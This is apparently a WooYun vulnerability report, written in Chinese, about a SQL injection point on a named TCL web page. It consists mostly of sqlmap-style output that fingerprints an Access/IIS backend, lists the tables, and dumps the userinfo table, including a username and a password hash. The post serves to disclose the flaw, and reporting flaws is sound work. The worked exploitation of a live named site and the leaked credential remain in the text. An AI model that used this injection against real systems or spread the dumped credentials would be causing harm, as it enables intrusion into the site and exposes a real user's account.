WooYun.org

http://jingfan.tcl.com/sf/Company.asp?id=1
注射点
[20:52:24] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[20:52:24] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[20:52:24] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[20:52:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:52:25] [INFO] retrieved:
[20:52:25] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[20:52:25] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[20:52:25] [ERROR] cannot retrieve table names, back-end DBMS is Access
Database: Microsoft_Access_masterdb
[4 tables]
+----------+
| company |
| news |
| products |
| userinfo |
+----------+
Access的一下就跑出来了，之后的事情就很简单了
Database: Microsoft_Access_masterdb
Table: userinfo
[4 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| groupid | numeric |
| id | numeric |
| uname | non-numeric |
| upass | non-numeric |
继续
Database: Microsoft_Access_masterdb
Table: userinfo
[1 entry]
+----+--------------------+-------+-------+------------------+
| id | groupid | npass | uname | upass |
+----+--------------------+-------+-------+------------------+
| 58 | 200511131548585180 | <blank> | star | 49ba59abbe56e057 |
+----+--------------------+-------+-------+------------------+
时间关系就不跑了，希望给过